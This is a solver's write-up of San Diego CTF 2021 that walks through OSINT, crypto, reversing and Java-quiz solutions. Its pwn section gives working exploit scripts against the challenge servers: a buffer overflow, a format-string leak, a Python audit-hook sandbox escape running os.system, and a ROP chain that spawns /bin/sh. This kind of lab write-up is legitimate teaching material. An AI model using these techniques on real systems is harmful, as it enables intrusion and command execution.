San Diego CTF 2021 writeup (English version)

日本語版：[San Diego CTF 2021 writeup - Qiita](https://qiita.com/mikecat_mixc/items/b8093c8759d861cbed01)

# About

I participated [San Diego CTF 2021](https://sdc.tf/) as an one-person team.
This CTF has a characteristic that there are no special Web pages to serve problems and accept flag submissions,
and that we use Discord for them.

I earned 4326 points and ranked #10 among the 293 teams that earned positive score.
(The rank in the scoreboard of this CTF began from #0 and I was at the 11th position)

The transition of my score during the competition was like below.
(Based on the time on which I solved each challenges and the final values after the competition. Changes in values of each challenges during the competition are not taken account of)
![The transition of my score](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/99656/d33cf04b-2210-95cf-b34d-e5dc9159a50d.png)

|Time solved (JST : UTC+9)|Category|Challenge|Value|Rank for each challenge|
|---|---|---|---|---|
|2021/05/08 09:30|CRYPTO|Lost in Transmission|75|#3|
|2021/05/08 09:36|CRYPTO|Case64AR|190|#1|
|2021/05/08 09:52|CRYPTO|A Prime Hash Candidate|292|#3|
|2021/05/08 10:26|REVENGE|A Bowl of Pythons|115|#5|
|2021/05/08 10:45|PWN|Flag dROPper|216|#6|
|2021/05/08 11:10|PWN|printFAILED|206|#5|
|2021/05/08 12:28|PWN|Unique Lasso|441|#5|
|2021/05/08 13:15|MISC|Sanity Check|15|#83|
|2021/05/08 13:21|MISC|Alternative Arithmetic (Intermediate Flag)|259|#2|
|2021/05/08 14:04|MISC|Alternative Arithmetic (Final Flag)|537|#1|
|2021/05/08 14:34|OSINT|Speed Studying|75|#36|
|2021/05/08 14:44|OSINT|Speed Studying 2|282|#14|
|2021/05/08 19:26|CRYPTO|A Primed Hash Candidate|147|#4|
|2021/05/09 00:52|PWN|HAXLAB — Flag Leak|378|#6|
|2021/05/09 00:54|PWN|HAXLAB — Endgame Pwn|648|#3|
|2021/05/10 03:40|OSINT|hIDe and seek|100|#87|
|2021/05/10 04:17|OSINT|hIDe and seek 2|200|#54|
|2021/05/10 08:17|MISC|survey|150|#75|

(This "Rank for each challenge" begins from #1)

Especially, I became the first to solve for two challenges: Case64AR and Alternative Arithmetic (Final Flag).

# Problems I solved

## OSINT

### hIDe and seek

Location `?v=hqXOIZtRYZU` and Location 2 `qFHIm0c.jpeg` were given as hints.

The Location looked like a part of a YouTube URL.
I put the information to a YouTube URL, and it was a video looking related.
[congratulations - YouTube](https://www.youtube.com/watch?v=hqXOIZtRYZU)

I didn't come up with idea about the Location 2 soon.
I googled `photo sharing` and found this page:
[List of image-sharing websites - Wikipedia](https://en.wikipedia.org/wiki/List_of_image-sharing_websites)

I checked each service for relevance, and found that Imgur uses image URLs that looks similar to the target.
I put the information to an Imgur image URL, and it was an image looking related.
[https://i.imgur.com/qFHIm0c.jpeg](https://i.imgur.com/qFHIm0c.jpeg)

I got the correct flag by combining information from the video and the image.

```
sdctf{W0w_1_h4D_n0_ID3a!}
```

### hIDe and seek 2

These hints were given:

* First piece of info: `gg/4KcDWnUYMs`
* Second piece of info: `810237829564727312-810359639975526490`

I searched for `gg` in my history in my Web browser.
I found some URLs like `https://discord.gg/` and 10 characters after that like the hint.

Based on this, I opened `https://discord.gg/4KcDWnUYMs`,
seeing an invitation page for "sdctf admin chat" on Discord.
I accepted the invitation and then there were many strings like the flag.
I clicked "Copy Message Link" in the "..." menu on the right side. The copied URL was like
`https://discord.com/channels/810237829564727308/810237829564727312/810381204834222090`
and the `810237829564727312` part matched with the former half of the Second piece of info.

Seeing this, I replaced the last part of this URL to the latter half of the Second piece of info and opened the URL:
`https://discord.com/channels/810237829564727308/810237829564727312/810359639975526490`
As a result, one of the strings like the flag was highlighted for about 1 second.
The highlighted string was the correct flag.

```
sdctf{m@st3R_h@Ck3R_4807}
```

### Speed Studying

We were asked to answer the first name and the last name of a person satisfying conditions below as a flag.

* professor at UC San Diego
* an Assistant Professor for the Computer Science department
* an Associate Professor for the Mathematics department

Firstly, I googled `UC San Diego` and found this page.

[University of California San Diego](https://ucsd.edu/)

Then, I followed the link "A to Z Site Index" in the bottom of the page, and opened these pages:

* Computer Science & Engineering in "C"
  * [Home | Computer Science](https://cse.ucsd.edu/?_ga=2.153433904.909768503.1620451802-318523731.1620451802)
* Mathematics in "M"
  * [UCSD Mathematics | Home](http://math.ucsd.edu/?_ga=2.132919302.909768503.1620451802-318523731.1620451802)

The page for Computer Science didn't look so useful for me.
I found a list of people in People &gt; Directory in the page for Mathematics.
[UCSD Math | Directory](https://www.math.ucsd.edu/people/directory/)
Among them, there were two people that are marked as "Computer Science":

* [UCSD Math | Profile for Fan Chung Graham](https://www.math.ucsd.edu/people/profiles/fan-chung-graham/)
  * Professor Emerita of Mathematics
  * Professor Emerita of Computer Science Engineering
* [UCSD Math | Profile for Daniel Kane](https://www.math.ucsd.edu/people/profiles/daniel-kane/)
  * Associate Professor of Mathematics
  * Associate Professor of Computer Science

Comparing them, Daniel Kane's profile looked closer to the condition.
However, the profile said "Associate Professor" for both Computer Science and Mathematics
while the condition said "Assistant Professor" for Computer Science.

I submitted this as a flag anyway, and the system said that it is correct.

```
Daniel Kane
```

### Speed Studying 2

The problem requests an example from Daniel Kane's classes called "The Skyline Problem".

Firstly, I googled `The Skyline Problem` and it gave me this:
[The Skyline Problem - LeetCode](https://leetcode.com/problems/the-skyline-problem/)
This looked like a common competitive programming question.

I visited the "Personal Website" of Daniel Kane:
[Daniel Kane's Homepage](http://cseweb.ucsd.edu/~dakane/)
However, there were so many documents that it looked difficult to search among that.

Then, I googled `site:http://cseweb.ucsd.edu/%7Edakane/ skyline`.
It gave this PDF file and the flag was there:
[Homework3.pdf](https://cseweb.ucsd.edu/~dakane/CSE101%20Problem%20Archive/F18/Homework3.pdf)

There were many extra space characters when I copy-and-pasted the flag,
so I removed them via the Replace function of my text editor.

By the way, it also gave me PDF that looked like the answer for the questions:
[Solutions3.pdf](https://cseweb.ucsd.edu/~dakane/CSE101%20Problem%20Archive/F18/Solutions3.pdf)

```
sdctf{N1ce_d0rKiNG_C@pt41N}
```

## CRYPTO

### Lost in Transmission

I compared the first part of the Flag Message and the flag format `sdctf{` via my binary editor.

```
Flag Message          sdctf{

0  1110 0110          0  0111 0011
1  1100 1000          1  0110 0100
2  1100 0110          2  0110 0011
3  1110 1000          3  0111 0100
4  1100 1100          4  0110 0110
5  1111 0110          5  0111 1011
```

As a result, the Flag Message looked like the flag with the first one bit removed.
This matches with the problem statement "it seems a bit...off.".

<details><summary>decode.c</summary><div>

```decode.c
#include <stdio.h>

int main(void) {
	int c;
	int p = 0;
	while ((c = getchar()) != EOF) {
		putchar(((p & 1) << 7) | (c >> 1));
		p = c;
	}
	return 0;
}
```

</div></details>

```
sdctf{W0nD3rfUL_mY_G00d_s1R}
```

### Case64AR

I compared the first part of Ciphertext `OoDVP4LtFm7lKnHk+JDrJo2jNZDROl/1HH77H5Xv` and
The base64-encoded the first part of the flag format (`sdctf{`) `c2RjdGZ7`,
referring the Base64 table in [Base64 - Wikipedia](https://en.wikipedia.org/wiki/Base64).

As a result, the characters in base64-encoded flag looked like 14-character ahead from the characters in Ciphertext.

Then, I got the flag by transforming Ciphertext via [CyberChef](https://gchq.github.io/CyberChef/) and the Recipe below:

1. Substitute (Encryption / Encoding)
   * Plaintext:  `yz0123456789+/ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwx`
   * Ciphertext: `ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/`
2. From Base64 (Data format)

```
sdctf{OBscUr1ty_a1nt_s3CURITy}
```

### A Prime Hash Candidate

A Python source code with hash value and hash function, and information for connecting to a TCP server were given.
It looked like we were supposed to find a password that matches to the hash value and enter that to the server.

What the hash function does is "Initialize the value with zero, then multiply 31 to the previous value and add the character code seeing each character".

I decided to use [Z3](https://github.com/Z3Prover/z3) for calculating the suitable password.
This page was very helpful to learn how to use Z3:
[CTF/Toolkit/z3py - 電気通信大学MMA](https://wiki.mma.club.uec.ac.jp/CTF/Toolkit/z3py) (written in Japanese)
I set the length of password to calculate to 20 characters at the beginning, then decremented it manually.

I succeeded to install Z3 to my Python environment by the command:

```
pip install z3-solver
```

Using `z3` instead of `z3-solver` didn't work.

<details><summary>solve.py</summary><div>

```solve.py
from z3 import *

values = [Int("v" + str(i)) for i in range(17)]

s = Solver()

res = 0
for v in values:
	s.add(0x20 <= v)
	s.add(v < 0x7f)
	res = res * 31 + v

s.add(res == 59784015375233083673486266)
r = s.check()

if r == sat:
	m = s.model()
	res = ""
	for v in values:
		c = m[v].as_long()
		if c != 0:
			res += chr(c)
	print(res)
else:
	print(r)
```

</div></details>

This program answered that the password `N~qqw0S$~F~rHHn%g` satisfies the condition.

By the way, I decided to search the length manually because I couldn't handle zero well.
Later, I succeeded to have it calculate the length by using a variable for the length and have it ignore the extra part according to the length.

<details><summary>solve2.py</summary><div>

```solve2.py
from z3 import *

target = 59784015375233083673486266
mult = 31
value_len_max = 20

s = Solver()

value_len = Int("value_len")
values = [Int("v" + str(i)) for i in range(value_len_max)]

s.add(1 <= value_len)
s.add(value_len <= value_len_max)
for i in range(value_len_max):
	s.add(If(i < value_len, And(0x20 <= values[i], values[i] < 0x7f), values[i] == 0))

res = 0
for i in range(len(values)):
	res = If(i < value_len, res * mult + values[i], res)

s.add(res == target)
r = s.check()

if r == sat:
	m = s.model()
	res = ""
	for i in range(m[value_len].as_long()):
		res += chr(m[values[i]].as_long())
	print(res)
else:
	print(r)
```

</div></details>

This program answered that the password `Q"Rqumpe"'~rI*MdH` satisfies the condition.
The two programs gave me different passwords, but the server accepted both.

```
sdctf{st1ll_3553nt14lly_pl@1n_txt}
```

### A Primed Hash Candidate

Information for connecting to a TCP server and a Python source code that looked like explaining the program on the server were given.
This program has a hash function below.
Using the function, it will print the flag if the hash value of the password entered is the predefined value,
and print the hash value otherwise.

1. Initialize the hash value to zero.
2. Calculate exclusive-or of each characters of the password and a string `secret1`.
   If `secret1` is shorter than the password, it is used repeatedly.
3. Append a string `secret2` at the end of the result.
4. For each characters of the result, multiply an integer `secret3` and add the character code to the hash value.

Firstly, I had the server calculate some hash values of several passwords. For example, I got these:

|password|hash value|how many times the above hash value|
|---|--:|--:|
|(empty)|102600138716356059007219996705144046117627968461|-|
|`a`|992166622960964278925004202918932637575577014865|9.670226915617196|
|`aa`|210262682041505048014583738714712698778058090181406|211.92275286786946|
|`aaa`|48985637796415496050216650657519848062713133279035928|232.97352302747626|
|`aaaa`|11413640700522060381545483921019415124103706124202506721|232.99973653414898|

I could guess that the more digits the hash value takes, the less the effect of addition becomes,
and the ratio of hash values on adding one character to password will become near to `secret3`.
Using this, `secret3` could be guessed to `233`.

Now we know that `secret3` is 128 or larger.
Therefore, if all of the password, `secret1`, and `secret2` contains only ASCII characters
(characters with character code less than 128), we can calculate the data with `secret2` concatenated
by taking remainder of divisions by `secret3`.
Actually I calculated this with the program below.
In addition to the hash values above, I added a hash value of sequences of many `a` to calculate `secret1`.
Also, the resulting `secret2` consisted of only ASCII characters, so I added some code to print it as a string.

<details><summary>test.py</summary><div>

```test.py
m = 233

def calc(q):
	res = []
	while q > 0:
		res.append(q % m)
		q = q // m
	return [res[len(res) - i - 1] for i in range(len(res))]

print(calc(102600138716356059007219996705144046117627968461))
print(calc(992166622960964278925004202918932637575577014865))
print(calc(210262682041505048014583738714712698778058090181406))
print(calc(48985637796415496050216650657519848062713133279035928))
print(calc(11413640700522060381545483921019415124103706124202506721))
print(calc(2659378268536464350212726318079772602014077890093473108682))
print(calc(56678918740377726047886359781090148307613747240511801341646628305011979140370757793561203839575815229178929004006886844019359633328288654953757547745797307363306287690228605085170520895486842930223543838627761786694555352517833537871099421570613401285950471276099621993337428263773193776280991157297313422764761554071206508203010916314623673595647950795646105830132596428138694772022226009678196477133112528229050981237479482321839960638938646374279349091534905575572549716737501782655376051142768831560072202859244745877469214627488920873309017303317236637970499937672394230102961331453458658035654033218881880413))

# PASSWD
print(calc(91918419847262345220747548257014204909656105967816548490107654667943676632784144361466466654437911844))

str = ""
for c in calc(102600138716356059007219996705144046117627968461):
	str += chr(c)

print(str)
```

</div></details>

I got this output:

```
[107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 41, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 15, 53, 69, 4, 13, 82, 49, 41, 85, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
[34, 54, 105, 105, 60, 7, 57, 103, 101, 23, 95, 7, 37, 38, 0, 90, 57, 28, 53, 32, 107, 8, 126, 107, 115, 40, 51, 110, 42, 99, 108, 51, 112, 37, 51, 57, 50, 53, 40, 42, 52, 42, 50]
ks(3n*cl3p%3925(*4*2
```

The `ks(3n*cl3p%3925(*4*2`, printed in the last line, is `secret2`.
Also, seeing the output, it seemed the pattern `[4, 13, 82, 49, 41, 85, 15, 53, 69]` is repeated.
Therefore, `secret1` will be this sequence with exclusive-ored with the character code of `a`.
The program below actually calculates this, and it answered that `secret1` is `el3PH4nT$`.

<details><summary>test2.py</summary><div>

```test2.py
data = [4, 13, 82, 49, 41, 85, 15, 53, 69]

key = ord('a')

res = ""
for c in data:
	res += chr(c ^ key)

print(res)
```

</div></details>

Finally, I obtained the password to enter by decoding the predefined hash value of the password `PASSWD`,
and calculating exclusive-or with `secret1` of the part that is not `secret2`.

<details><summary>test3.py</summary><div>

```test3.py
data = [34, 54, 105, 105, 60, 7, 57, 103, 101, 23, 95, 7, 37, 38, 0, 90, 57, 28, 53, 32, 107, 8, 126]

key = "el3PH4nT$"

key_v = [ord(x) for x in key]

res = ""
for i in range(len(data)):
	res += chr(data[i] ^ key_v[i % len(key_v)])

print(res)
```

</div></summary>

The password to enter was `GZZ9t3W3Ar34un44m8PLXX6`.

(I called the value and functions as "hash value" and "hash function" because they are called as "hash" in the server,
but they doesn't seem hash because they can be decoded easily and uniquely...)

```
sdctf{W0W_s3cur1ty_d1d_dRaStIcAlLy_1mpr0v3}
```

## WEB

Unfortunately I couldn't solve any problems in WEB.

## REVENGE

### A Bowl of Pythons

A Python source code was given.
Firstly, the strings in the code were expressed in hexadecimal values, so I used "From Hex" of [CyberChef](https://gchq.github.io/CyberChef/) to decode them for readability.
Then, seeing the main `e()` function, it was firstly checking the header and footer of the input,
and then checking contents between them.
I got the medium part of the flag by removing extra things and reversing the calculation.

<details><summary>solve.py</summary><div>

```solve.py
a = lambda n: a(n-2) + a(n-1) if n >= 2 else (2 if n == 0 else 1)

f = b't2q}*\x7f&n[5V\xb42a\x7f3\xac\x87\xe6\xb4'

print(bytes(f[i] ^ (a(i) & 0xff) for i in range(len(f))))
```

</div></details>

```
sdctf{v3ry-t4sty-sph4g3tt1}
```
## PWN

### Flag dROPper

Information to connect to a TCP server and an ELF file that looked like running on the server were given.

I disassembling this ELF file via `objdump` in [TDM-GCC](https://jmeubank.github.io/tdm-gcc/) and read the result.
As a result, I found that the program first puts an address of `_exit` function to a buffer with 0x48-byte offset,
then reads an input to the buffer,
and finally executes the address saved in the buffer with 0x48-byte offset.

Based on this, I got the flag (expect for the first character) by putting an input to set the address to the address of `win` function.

<details><summary>communicate.pl</summary><div>

```communicate.pl
#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"dropper.sdc.tf", PeerPort=>1337, Proto=>"tcp");

if (!$sock) { die "socket open failed\n"; }

binmode($sock);

my $query = ("#" x 0x48) . "\xDA\x05\x40\x00\x00\x00\x00\x00";

print $sock $query;

while (<$sock>) {
	print $_;
}

close($sock);
```

</div></details>

```
sdctf{n1C3_C4tcH_bUd}
```

### HAXLAB — Flag Leak

Information for connecting to a TCP server and a Python source code that looked like running on the server were given.

This program executes entered statements, but many operations are refused via [`sys.addaudithook()`](https://docs.python.org/3/library/sys.html#sys.addaudithook).

I tried various input, and found that `import sys` was not refused while `import subprocess` was refused.
Now I gained access to [`sys.modules`](https://docs.python.org/3/library/sys.html#sys.modules) via `import sys`.
What can be accessed via that included [the `builtins` module](https://docs.python.org/3/library/builtins.html).
It looked possible to replace builtin functions by modifying this module.
Especially, I could replace the [`set()`](https://docs.python.org/3/library/functions.html#func-set) function, which was used for the initialization of allow list in the function to refuse operations, by assigning a lambda function to `sys.modules["builtins"].set`.
Using this, I could enable to execute [`os.system()`](https://docs.python.org/3/library/os.html#os.system) by adding `"os.system"` to the allow list.
Finally, I got the flag by executing the command `cat flag1.txt` using this.

In other words, I got the flag by executing these statements:

```python
import sys
import os
sys.modules["builtins"].set = lambda x : list(x) + ["os.system"]
os.system("cat flag1.txt")
```

```
sdctf{get@ttr_r3ads_3v3ryth1ng}
```

### HAXLAB — Endgame Pwn

Information for connecting to a TCP server and a Python source code that looked like running on the server were given.
They are just the same as what are given in HAXLAB — Flag Leak.
Therefore, I got the flag by executing the command `cat flag2.txt` instead of `cat flag1.txt` using the same technique.

```
sdctf{4ud1t_hO0ks_aR3_N0T_SaNDB0x35}
```

### printFAILED

Information to connect to a TCP server and an ELF file that looked like running on the server were given.

I disassembling this ELF file via `objdump` in [TDM-GCC](https://jmeubank.github.io/tdm-gcc/) and read the result.
As a result, what the program is doing looked like this:

<details><summary>transcription.c</summary><div>

```transcription.c
#include <stdio.h>
#include <string.h>

int FLAG_LEN;

char flag[1024];
char guess[1024];

void scramble(int len) { /* -0x14(%rbp) */
	int i; /* -0x4(%rbp) */
	/* 831 860 */
	for (i = 0; i < len; i++) {
		/* 83a */
		int eax = i, ecx;
		eax = flag[eax];
		eax += 1;
		/* 84e */
		ecx = eax;
		eax = i;
		flag[eax] = ecx;
	}
}

int main(void) {
	/* 87e */
	FILE* fp = fopen("flag.txt", "r");
	fgets(flag, 0x28, fp);
	/* 8ad */
	scramble(0x27);
	/* 8b7 */
	puts("can you guess the scrambled flag?");
	fflush(stdout);
	/* 8d2 */
	fgets(guess, 0x28, stdin);
	/* 8ed */
	puts("you guessed: ");
	/* 8f9 */
	printf(guess, main, scramble, FLAG_LEN, flag);
	/* 935 */
	if (strcmp(guess, flag) == 0) {
		/* 93e */
		puts("nice guess!");
	} else {
		/* 94c */
		puts("wrong");
	}
	/* 958 */
	return 0;
}
```

</div></summary>

Among these lines, the important line is:

```c
printf(guess, main, scramble, FLAG_LEN, flag);
```

User-provided data is stored to the array `guess`, and data read from `flag.txt` and altered by `scramble()` function is stored to the array `flag`.
The `scramble()` function adds one to each elements of the array `flag` until the position specified by the argument.
Therefore, the flag should be obtained by reading the contents of the array `flag` and modify that in the reversed way of what the `scramble()` function does.

Based on this, I entered an input:

```
%lx %lx %lx %s
```

and got an output:

```
55b4835b086f 55b4835b082a 28 tedug|E1ou`c4`5`g52mvs4`2jl4`uI2T`D1e4~
```

I got the flag by applying SUB with Key "-1" via [CyberChef](ttps://gchq.github.io/CyberChef/) to the last part of the output ``tedug|E1ou`c4`5`g52mvs4`2jl4`uI2T`D1e4~``.
(SUB is in the Arithmetic / Logic category)

```
sdctf{D0nt_b3_4_f41lur3_1ik3_tH1S_C0d3}
```

### Unique Lasso

Information to connect to a TCP server and an ELF file that looked like running on the server were given.

I disassembling this ELF file via `objdump` in [TDM-GCC](https://jmeubank.github.io/tdm-gcc/) and read the result.
As a result, what the program is doing looked like this:

<details><summary>transcription.c</summary><div>

```transcription.c
#include <stdio.h>
#include <stdlib.h>

int main(void) {
	char rbp_6[2];
	int rbp_4;
	/* 400b75 */
	puts("how long do you think this lass is: (hint: its really long)");
	/* 400b81 */
	fflush(stdout);
	/* 400b90 */
	fgets(rbp_6, 0x258, stdin);
	/* 400ba8 */
	rbp_4 = atoi(rbp_6);
	/* 400bb4 */
	printf("You guessed %d\n", rbp_4);
	/* 400bcd */
	puts("Its gotta be longer than that");
	/* 400bd9 */
	fflush(stdout);
	/* 400be8 */
	return 0;
}
```

</div></details>

There didn't seem anything like `win` function, so I decided to have it execute `execve("/bin/sh", 0, 0)` via ROP (Return-oriented programming).
To archive that, I should have it execute `syscall` instruction with 59 (the system call number of `execve`) in `%rax`, an address of `"/bin/sh"` in `%rdi`, and 0 in `%rsi` and `%rdi`.

I searched for machine code of each instruction from the ELF file via my binary editor.
As a result, I found gadgets in the place (in the ELF file) below, for example.

```
0x006A6 : pop %rdi; ret
0x10B63 : pop %rsi; ret
0x4C616 : pop %rdx; ret
0x005AF : pop %rax; ret
0x74AE5 : syscall ; ret
```

Seeing the disassemble result, the address for execution should be the place in the file plus 0x400000.
Also, `"/bin/sh"` didn't seem in the file, but I found this in the disassemble result:

```
  400692:	48 89 05 67 c1 2b 00 	mov    %rax,0x2bc167(%rip)        # 6bc800 <__x86_shared_non_temporal_threshold>
  400699:	48 83 c4 08          	add    $0x8,%rsp
  40069d:	5b                   	pop    %rbx
  40069e:	5d                   	pop    %rbp
  40069f:	41 5c                	pop    %r12
  4006a1:	41 5d                	pop    %r13
  4006a3:	41 5e                	pop    %r14
  4006a5:	41 5f                	pop    %r15
  4006a7:	c3                   	retq   
```

This should be able to store an arbitrary value in `%rax` to the memory location 0x6bc800.

Using them, I constructed what to put in the stack to have it do this:

1. Put data that represents `"/bin/sh"` to `%rax`
2. Store what is in `%rax` to 0x6bc800
3. Put 59 to `%rax`
4. Put 0x6bc800  to `%rdi`
5. Put 0 to `%rsi`
6. Put 0 to `%rdi`
7. Execute `syscall`

After sending an input to put this contents in the stack, I sent some commands for the shell, but it didn't give response for the commands for some reason.
I made some trial-and-error like adding a loop to send commands many times and succeeded to get a list of files and the flag.

<details><summary>communicate.pl</summary><div>

```communicate.pl
#!/usr/bin/perl

use strict;
use warnings;
use IO::Socket;

my $sock = new IO::Socket::INET(PeerAddr=>"lasso.sdc.tf", PeerPort=>1337, Proto=>"tcp");

if (!$sock) { die "socket open failed\n"; }

binmode($sock);

my $query = "123456--------";

my $pop_rdi = 0x4006a6;
my $pop_rsi = 0x410b63;
my $pop_rdx = 0x44c616;
my $pop_rax = 0x4005af;
my $syscall = 0x474ae5;
my $mov     = 0x400692;

my @data = (
	$pop_rax,
	-1,
	$mov,
	0, 0, 0, 0, 0, 0, 0,
	$pop_rax,
	59,
	$pop_rdi,
	0x6bc800,
	$pop_rsi,
	0,
	$pop_rdx,
	0,
	$syscall
);

for (my $i = 0; $i < @data; $i++) {
	if ($data[$i] >= 0) {
		$query .= pack("Q", $data[$i]);
	} else {
		$query .= "/bin/sh\0";
	}
}

print $sock $query;
print $sock "\n";
for (my $i = 0; $i < 4096; $i++) {
	#print $sock "echo hoge\n";
	#print $sock "ls\n";
	print $sock "cat flag.txt\n";
	print $sock "exit\n";
}

while (<$sock>) {
	print $_;
}

close($sock);
```

</div></details>

```
sdctf{H0w_l0nG_w45_uR_L4ss0_m1n3_w45_ju5T_5}
```

## MISC

### Sanity Check

The flag was in the challenge description.

> Here's the flag of this challenge: `sdctf{1_@m_n0t_4_r0b0t!}`

```
sdctf{1_@m_n0t_4_r0b0t!}
```

### Alternative Arithmetic (Intermediate Flag)

Some quizzes about Java were presented, and I got the flag by answering 3 questions correctly.

#### Question 1

A nonzero value of `long x` such that `x == -x` was asked.
The `long` is 64-bit long, and if two's complement is used, the value `-(2 ** 63)` will satisfy this condition.
I calculated this value via Python.

```
x = -9223372036854775808
```

#### Question 2

Two `long` values `x` and `y` that satisfy the conditions below were asked.

* Differs
* The difference is 10 or less
* `Long.hashCode(x) == Long.hashCode(y)`

The hash values of `long` looks like calculated by exclusive-or of the upper 32 bits and the lower 32 bits.

[Long (Java Platform SE 8 )](https://docs.oracle.com/javase/8/docs/api/java/lang/Long.html#hashCode--)

`-1` (`0xffffffffffffffff`) becomes `0` by calculating exclusive-or of
the upper 32 bits `0xffffffff` and the lower 32 bits `0xffffffff`.
`0` (`0x0000000000000000`) also becomes `0` by calculating exclusive-or of
the upper 32 bits `0x00000000` and the lower 32 bits `0x00000000`.

```
x = 0
y = -1
```

#### Question 3

A value of `float magic` such that the for loop
`for (float start = magic; start < (magic + 256); start++)` iterates enough times was asked.
Also, when I enter some random value, the server showed me a condition that the input has to be less than 7 characters. I hate initially hidden conditions like this.

I got a correct answer by giving value that won't be changed by adding one, considering the precision of `float`.

```
f = 1e+8
```

#### The flag

```
sdctf{JAVA_Ar1thm3tIc_15_WEirD}
```

### Alternative Arithmetic (Final Flag)

After quizzes for Alternative Arithmetic (Intermediate Flag), more quizzes about Java were presented.
I got the flag by answering 2 questions correctly.

#### Question 4

Strings `s1`, `s2`, and `s3` that satisfies conditions below were asked.

* `new BigDecimal(s1).add(new BigDecimal(s2)).compareTo(new BigDecimal(s3)) == 0`
* `Double.parseDouble(s1) + Double.parseDouble(s2) != Double.parseDouble(s3)`

I got a correct answer by entering a large value and a small value to overflow `double`.

```
s1 = 1e+1000
s2 = -1e+1000
s3 = 0
```

#### Question 5

Codes to fill in `<type>`,`<num1>`, and `<num2>` of
`var i = (<type>) <num1>; var j = (<type>) <num2>;` such that
`i < j || i == j || i > j` evaluates to `false` were asked.
Also, `<num1>` and `<num2>` were asked to "satisfy regex `[0-9]*\.?[0-9]*`".

I got a correct answer by trying various things on [Wandbox](https://wandbox.org/).

```
<type>: Double
<num1>: 1.0
<num2>: 1.0
```

#### The flag

```
sdctf{MATH_pr0f:iS_tH1S_@_bUG?CS_prOF:n0P3_tHIS_iS_A_fEATuRe!}
```

### survey

An URL for a Google Forms page was given.
I filled in the questionnaire and submitted the answer, seeing the flag presented.

```
sdctf{Suv3y_s@ys!}
```